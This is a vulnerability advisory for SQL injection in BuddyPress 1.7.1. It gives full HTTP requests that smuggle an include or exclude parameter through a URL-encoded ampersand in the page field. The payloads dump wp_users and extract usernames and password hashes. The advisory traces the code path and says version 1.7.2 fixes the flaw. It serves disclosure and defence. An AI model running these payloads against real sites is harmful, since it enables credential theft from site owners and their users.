BuddyPress 1.7.1 contains several SQL injections that allow arbitrary data to be retrieved.
This is an example of an SQL injection via an HTTP request to BuddyPress. It modifies a request designed to return a list of groups so that, instead, it returns the entire contents of the wp_users table:
POST /wordpress/groups/ HTTP/1.1 Host: 127.0.0.1 User-Agent: Pentest Content-Length: 52 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 page=1%26include=0) union select * FROM wp_users --+
It’s also possible to replicate this request (including the SQL injection) in an AJAX call:
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Content-Length: 139 Origin: http://127.0.0.1 X-Requested-With: XMLHttpRequest User-Agent: Pentest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: */* Referer: http://127.0.0.1/wordpress/groups/?s=test Accept-Language: en-GB,en-US;q=0.8,en;q=0.6 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 action=groups_filter&object=groups&filter=null&search_terms=test&scope=all&page=1%26include=0) union select * FROM wp_users -- &extras=null
In both of the above examples, the request eventually results in a call to the get function in the BP_Groups_Group class. The get function builds an SQL query by appending strings together. If an attacker can control of the value of $include or $exclude they can modify the query by including the ) character (which is not escaped by the escape function) and then insert their own SQL. For example, if the value of $include is:
0) union select * FROM wp_users --
The resulting query would be:
SELECT g.*, gm1.meta_value AS total_member_count, gm2.meta_value AS last_activity FROM wp_bp_groups_groupmeta gm1, wp_bp_groups_groupmeta gm2, wp_bp_groups g WHERE g.id = gm1.group_id AND g.id = gm2.group_id AND gm2.meta_key = 'last_activity' AND gm1.meta_key = 'total_member_count' AND g.status != 'hidden' AND ( g.name LIKE '%%test%%' OR g.description LIKE '%%test%%' ) AND g.id IN (0) union select * FROM wp_users -- ) ORDER BY last_activity DESC LIMIT 0, 20
As already mentioned, to exploit the specific vulnerability in get, outlined above, the attacker needs to find a way to control the value of $include or $exclude. In the example HTTP requests also provided above, the attacker has chosen to focus on $include, attempting to smuggle it through as an extra parameter by URL encoding an ampersand (%26):
page=1%26include=0) union select * FROM wp_users --+
This means that when the URL is decoded, the value of page will actually be:
1&include=0) union select * FROM wp_users --+.
In this case, the page parameter is added the $qs array as:
page=1&include=0) union select * FROM wp_users --
A few lines later, the items in the $qs array are joined together in a new string, each separated by an ampersand, and assigned to a the $query_string variable. At this point, the ampersand that was contained in the value of the page parameter is indistinguishable from the ampersands separating the genuine parameter key-value pairs and our attacker has succeeded in smuggling the include parameter and its dangerous value (a SQL query fragment) through. The value of $query_string is returned by bp_dtheme_ajax_querystring and assigned to $args, where wp_parse_args takes the value of $args and breaks it into chunks, using the ampersand character as a delimiter, and returns an array ($r) containing each chunk as an item: The array is then passed to the extract function which assigns the values to local variables. The local variables (including $include) are then used during the construction of an instance of the BP_Groups_Template class which calls the BP_Groups_Template class which calls the aforementioned get function in BP_Groups_Group (p.2).
The following request:
POST /wordpress/members/ HTTP/1.1 Host: A_WEBSITE Content-Length: 172 User-Agent: Pentest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 page=1%26type=random%26exclude=1)AND%201=0%20UNION%20ALL%20SELECT%201%2C%202%2CCONCAT(user_login,0x7C,user_pass)%2C%204%2C%205%2C%206%20FROM%20wp_users%20WHERE ID NOT IN (1
calls /buddypress/bp-themes/bp-default/members/index.php, which calls members/members-loop.php, which calls:
<?php if ( bp_has_members( bp_ajax_querystring( 'members' ) ) ) : ?>
The method bp_has_members function is defined in buddypress/bp-members/bp-members-template.php, where bp_has_members calls the extract method, allowing the attacker to overwrite any local variable. This lets the attacker call new BP_Core_Members_Template (with any variables of our choosing. This in turn calls (amongst other functions ) get_users_by_letter which appends the $excludevariable straight into the SQL query.
Current state: Fixed
BuddyPress version 1.7.2 has been released which addresses these vulnerabilities, among others. Users running older versions should upgrade immediately.